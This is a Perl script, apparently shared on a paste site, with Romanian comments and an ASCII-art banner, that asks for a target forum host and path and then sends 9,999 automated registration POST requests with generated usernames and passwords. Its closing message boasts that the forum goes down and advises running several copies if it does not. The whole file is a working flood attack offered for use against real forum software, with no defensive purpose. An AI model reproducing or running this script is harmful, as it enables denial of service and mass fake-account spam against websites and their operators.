Untitled

#!/usr/bin/perl
use IO::Socket;
##########################################################
## Credite : TNT * Killx & Copyright©Furios.ro™         ##
## Daca iti place hack-ul dal si la ceilalti :)         ##
## Skype : TNT * Killx TK / proplayer221                ##
##            Brigada loveste tare                      ##
##########################################################
print q{
############################################################
MMMMMMMMMMMNs/.`    .:smMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMh:             -yMMMMMM+/:-----:/oydNMMMMMMMMMMMMMM
MMMMMMMh-    .:++++/:.    .hMMMM.             -+dMMMMMMMMMMM
MMMMMN/   /yNMMMMMMMMMNy:   /NMM/                `+mMMMMMMMM
MMMMd.  /mMMMMMMMMMMMMMMMm:  -mMy   +yso+/-.        /dMMMMMM
MMMm`  sMMMy//sNMMMMy+/sNMMo  .Nm   +MMMMMMMMmhs+-`   +NMMMM
MMM-  :MMM:    -MMM:    -MMM.  +M-  .MMMMMMMMMMMMMMms:``hMMM
MMd   +MMM-    .MMM-    .MMM/   Mo   mMMMMMMMMMMMMMMMMMh/sMM
MMh   .NMMNo:-+mMNMNo:-+mMMN`   md   sMMMMMMMMMMMMMMMMMMMNNM
MMN`   -dMMMMMMMo oMMMMMMMd-   .MN`  :MMMMMMMMMMMMMMMMMMMMMM
MMMh     -ohNMMMNdNMMMmho-    `dMM/  `NMMMMMMMMMMMMMMMMMMMMM
MMMMd:       hMMMMMMMm`      :mMMMs   yMMMMMMMMMMMMMMMMMMMMM
MMMMMMd:      .-.:-.-       .+oshdh   :mMMMMMMMMMMMMMMMMMMMM
MMMMMMM-                                sMMMMMMMMMMMMMMMMMMM
MMMMMMm                            `   .hMMMMMMMMMMMMMMMMMMM
MMMMMMM`       ROOT               +h   yMMMMMMMMMMMMMMMMMMMM
MMMMMMM+                   o  o. +MM`  /MMMMMMMMMMMMMMMMMMMM
MMMMMMMm                  :MyhMm+MMM:  `MMMMMMMMMMMMMMMMMMMM
MMMMMMMM+                `mMMMMMMMMMs   dMMMMMMMMMMMMMMMMMMM
MMMMMMMMN.               sMMMMMMMMMMm   oMMMMMMMMMMMMMMMMMMM
MMMMMMMMMh              :MMMMMMMMMMMM.  -MMMMMMMMMMMMMMMMMMM
MMMMMMMMMM+            -NMMMMMMMMMMMM+   mMMMMMMMMMMMMMMMMMM
MMMMMMMMMMo            /MMMMMMMMMMMMMh   yMMMMMMMMMMMMMMMMMM
MMMMMMMMNo-          ./hMMMMMMMMMMMMMN`  /MMMMMMMMMMMMMMMMMM
MMMMMMMMmo-.`   .:ohNMMMMMMMMMMMMMMMMMddmNMMMMMMMMMMMMMMMMMM
############################################################
};
$rand=rand(10);
print "Forumu Attack: ";
$serv = <stdin>;
chop ($serv);
print " Locatia: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die " Ops A picat :(";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forumu pica :D Daca nu e off mai incearca de mai multe ori / cu mai multe deschise....Sau are Protectie ca toti sclavi.\n";

#TNT * Killx  & Copyright©Furios.ro™ au creat acest Program!